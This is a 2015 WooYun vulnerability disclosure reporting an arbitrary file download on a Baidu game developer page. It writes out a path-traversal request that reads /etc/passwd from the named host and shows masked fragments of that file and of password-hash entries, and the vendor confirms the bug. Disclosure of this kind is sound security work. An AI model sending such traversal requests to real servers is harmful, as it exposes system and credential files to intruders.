当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：
wooyun-2015-0161038
漏洞标题：
百度某站任意文件下载
相关厂商：
百度
漏洞作者：
DloveJ
提交时间：
2015-12-13 20:33
修复时间：
2016-01-25 18:01
公开时间：
2016-01-25 18:01
漏洞类型：
任意文件遍历/下载
危害等级：
高
自评Rank：
15
漏洞状态：
厂商已经确认
漏洞来源：
http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签：
无
分享漏洞：
4人收藏 收藏
分享漏洞：
>

漏洞详情

披露状态：

2015-12-13： 细节已通知厂商并且等待厂商处理中
2015-12-13： 厂商已经确认，细节仅向厂商公开
2015-12-23： 细节向核心白帽子及相关领域专家公开
2016-01-02： 细节向普通白帽子公开
2016-01-12： 细节向实习白帽子公开
2016-01-25： 细节向公众公开

简要描述：

打卡

详细说明：

http://youxi.baidu.com/developerDemo/demo.jsp


我猜这个页面应该是保密的

mask 区域 
*****^^*****
**********
**********
*****^^认证之前PO*****
**********
*****y=27dccf180127259d89d*****
**********
*****^^序后，request^*****
**********
*****e0736700serverId=1*****
*****	*****
*****824610124382461e60002，则^*****
*****		*****
*****^时之间以外的全部空格*****
***** *****
*****cf180127259d89d81737e0736*****
*****	*****
*****^^成的MD5值为(全转大^*****


http://youxi.baidu.com/developerDemo/demoDownload.jsp?file=../../../../../../../../../../../../../../../etc/passwd


mask 区域 
*****:/root:/*****
*****bin:/sbi*****
*****:/sbin:/sb*****
*****r/adm:/sb*****
*****ool/lpd:/s*****
*****:/sbin:/*****
*****wn:/sbin:/s*****
*****:/sbin:/*****
*****/spool/mail*****
*****spool/uucp:/*****
*****tor:/root:/*****
*****/usr/games:*****
*****var/gopher:/*****
*****ser:/:/sb*****
*****body:/:/s*****
*****memory owner:/d*****
*****r":/var/empty/*****
*****pool/postfix*****
*****d SSH:/var/empty*****
*****/var/cache/rpc*****
***** User:/var/lib*****
***** NFS User:/var/li*****
*****/ntp:/sbi*****
*****::/:/sbi*****
*****be used by OProfile:/*****
*****sage bus:/:/*****
***** daemon:/:/*****
*****ck:/var/run/avahi-*****
*****aemon:/:/s*****
*****home/work*****
*****ool/exim:/s*****
*****ome/www:/*****
*****ome/memcache*****


mask 区域 
*****HB5G3fhT5qungLhmNI8Neu21N5UnQ*****
*****:0:999*****
*****3:0:999*****
*****:0:999*****
*****0:9999*****
*****3:0:99*****
*****513:0:9*****
*****3:0:99*****
*****3:0:99*****
*****3:0:99*****
*****513:0:9*****
*****:0:9999*****
*****3:0:999*****
*****:0:999*****
*****3:0:999*****
*****5734:*****
*****:15734*****
*****15734:*****
*****5734:*****
*****4:0:99*****
*****15734:*****
*****!:1573*****
*****734::*****
*****15734:*****
*****:15734*****
*****5734:*****
*****!:1573*****
*****15734*****
*****5734:*****
*****:0:9999*****
*****6653:*****
*****1:0:99*****
*****671:0:99*****


漏洞证明：

修复方案：

版权声明：转载请注明来源 DloveJ@乌云

>

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2015-12-13 21:33

厂商回复：

感谢对百度安全的关注

最新状态：

暂无